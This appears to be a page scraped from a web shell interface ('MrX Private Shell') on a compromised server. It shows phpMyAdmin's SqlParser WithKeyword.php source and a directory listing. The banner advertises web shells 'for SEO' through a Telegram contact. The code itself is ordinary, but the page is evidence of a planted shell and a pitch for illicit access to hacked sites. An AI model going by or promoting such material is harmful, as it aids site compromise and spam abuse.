__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace PhpMyAdmin\SqlParser\Components;
use PhpMyAdmin\SqlParser\Component;
use PhpMyAdmin\SqlParser\Parser;
use RuntimeException;
/**
* `WITH` keyword builder.
*
* @final
*/
final class WithKeyword extends Component
{
/** @var string */
public $name;
/** @var ArrayObj[] */
public $columns = [];
/** @var Parser|null */
public $statement;
public function __construct(string $name)
{
$this->name = $name;
}
/**
* @param WithKeyword $component
* @param array<string, mixed> $options
*
* @return string
*/
public static function build($component, array $options = [])
{
if (! $component instanceof WithKeyword) {
throw new RuntimeException('Can not build a component that is not a WithKeyword');
}
if (! isset($component->statement)) {
throw new RuntimeException('No statement inside WITH');
}
$str = $component->name;
if ($component->columns) {
$str .= ArrayObj::build($component->columns);
}
$str .= ' AS (';
foreach ($component->statement->statements as $statement) {
$str .= $statement->build();
}
$str .= ')';
return $str;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AlterOperation.php | File | 17.35 KB | 0644 |
|
| Array2d.php | File | 3.39 KB | 0644 |
|
| ArrayObj.php | File | 4.85 KB | 0644 |
|
| CaseExpression.php | File | 9.7 KB | 0644 |
|
| Condition.php | File | 6.04 KB | 0644 |
|
| CreateDefinition.php | File | 10.59 KB | 0644 |
|
| DataType.php | File | 4.71 KB | 0644 |
|
| Expression.php | File | 15.78 KB | 0644 |
|
| ExpressionArray.php | File | 3.91 KB | 0644 |
|
| FunctionCall.php | File | 3.19 KB | 0644 |
|
| GroupKeyword.php | File | 3.34 KB | 0644 |
|
| IndexHint.php | File | 6.33 KB | 0644 |
|
| IntoKeyword.php | File | 8.34 KB | 0644 |
|
| JoinKeyword.php | File | 6.15 KB | 0644 |
|
| Key.php | File | 9.16 KB | 0644 |
|
| Limit.php | File | 3.06 KB | 0644 |
|
| LockExpression.php | File | 5.62 KB | 0644 |
|
| OptionsArray.php | File | 12.07 KB | 0644 |
|
| OrderKeyword.php | File | 3.46 KB | 0644 |
|
| ParameterDefinition.php | File | 4.54 KB | 0644 |
|
| PartitionDefinition.php | File | 6.97 KB | 0644 |
|
| Reference.php | File | 3.95 KB | 0644 |
|
| RenameOperation.php | File | 4.45 KB | 0644 |
|
| SetOperation.php | File | 4.19 KB | 0644 |
|
| UnionKeyword.php | File | 674 B | 0644 |
|
| WithKeyword.php | File | 1.29 KB | 0644 |
|